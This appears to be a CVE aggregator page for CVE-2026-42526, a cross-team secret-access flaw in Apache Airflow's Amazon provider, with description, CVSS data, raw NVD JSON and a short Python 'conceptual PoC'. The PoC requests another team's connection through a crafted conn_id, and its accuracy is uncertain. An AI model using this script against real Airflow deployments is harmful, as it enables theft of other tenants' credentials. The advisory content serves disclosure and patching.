Security Vulnerability Report
中文
CVE-2026-42526 CVSS 5.3 MEDIUM

CVE-2026-42526

Published: 2026-05-19 20:16:19
Last Modified: 2026-05-19 21:16:43

Description

In the AWS Secrets Manager and SSM Parameter Store secrets backends of `apache-airflow-providers-amazon` prior to 9.28.0, the team-scoping logic could resolve a `conn_id` containing a `/` (e.g. `"my_team/conn"`) to the same path as another team's team-scoped secret when the caller had no team context. A privileged caller without team context could therefore retrieve another team's secret by crafting a colliding `conn_id`. Fixed in 9.28.0 by switching the team-scope separator to `--` and rejecting team-shaped `conn_id`s when team context is absent. Affects the experimental multi-tenant teams feature only. Users are recommended to upgrade to `apache-airflow-providers-amazon` 9.28.0, which fixes the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

apache-airflow-providers-amazon < 9.28.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Conceptual PoC for CVE-2026-42526 # Target: Apache Airflow instance using apache-airflow-providers-amazon < 9.28.0 target_url = "http://target-airflow/api/v1/connections" # Attacker has no team context, but tries to access "target_team" secrets malicious_conn_id = "target_team/database_conn" headers = { "Content-Type": "application/json", # Authorization header for a low-privilege user "Authorization": "Bearer <LOW_PRIV_TOKEN>" } # Attempt to retrieve the connection details which triggers the secret backend lookup response = requests.get(f"{target_url}/{malicious_conn_id}", headers=headers) if response.status_code == 200: print("[+] Exploit successful! Retrieved sensitive data:") print(response.json()) else: print("[-] Exploit failed or target not vulnerable.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42526", "sourceIdentifier": "[email protected]", "published": "2026-05-19T20:16:19.163", "lastModified": "2026-05-19T21:16:43.000", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the AWS Secrets Manager and SSM Parameter Store secrets backends of `apache-airflow-providers-amazon` prior to 9.28.0, the team-scoping logic could resolve a `conn_id` containing a `/` (e.g. `\"my_team/conn\"`) to the same path as another team's team-scoped secret when the caller had no team context. A privileged caller without team context could therefore retrieve another team's secret by crafting a colliding `conn_id`. Fixed in 9.28.0 by switching the team-scope separator to `--` and rejecting team-shaped `conn_id`s when team context is absent. Affects the experimental multi-tenant teams feature only. Users are recommended to upgrade to `apache-airflow-providers-amazon` 9.28.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/apache/airflow/pull/65703", "source": "[email protected]"}, {"url": "https://lists.apache.org/thread/0092sz5g520d3qqjb01wd61myqlgjtyn", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/36", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}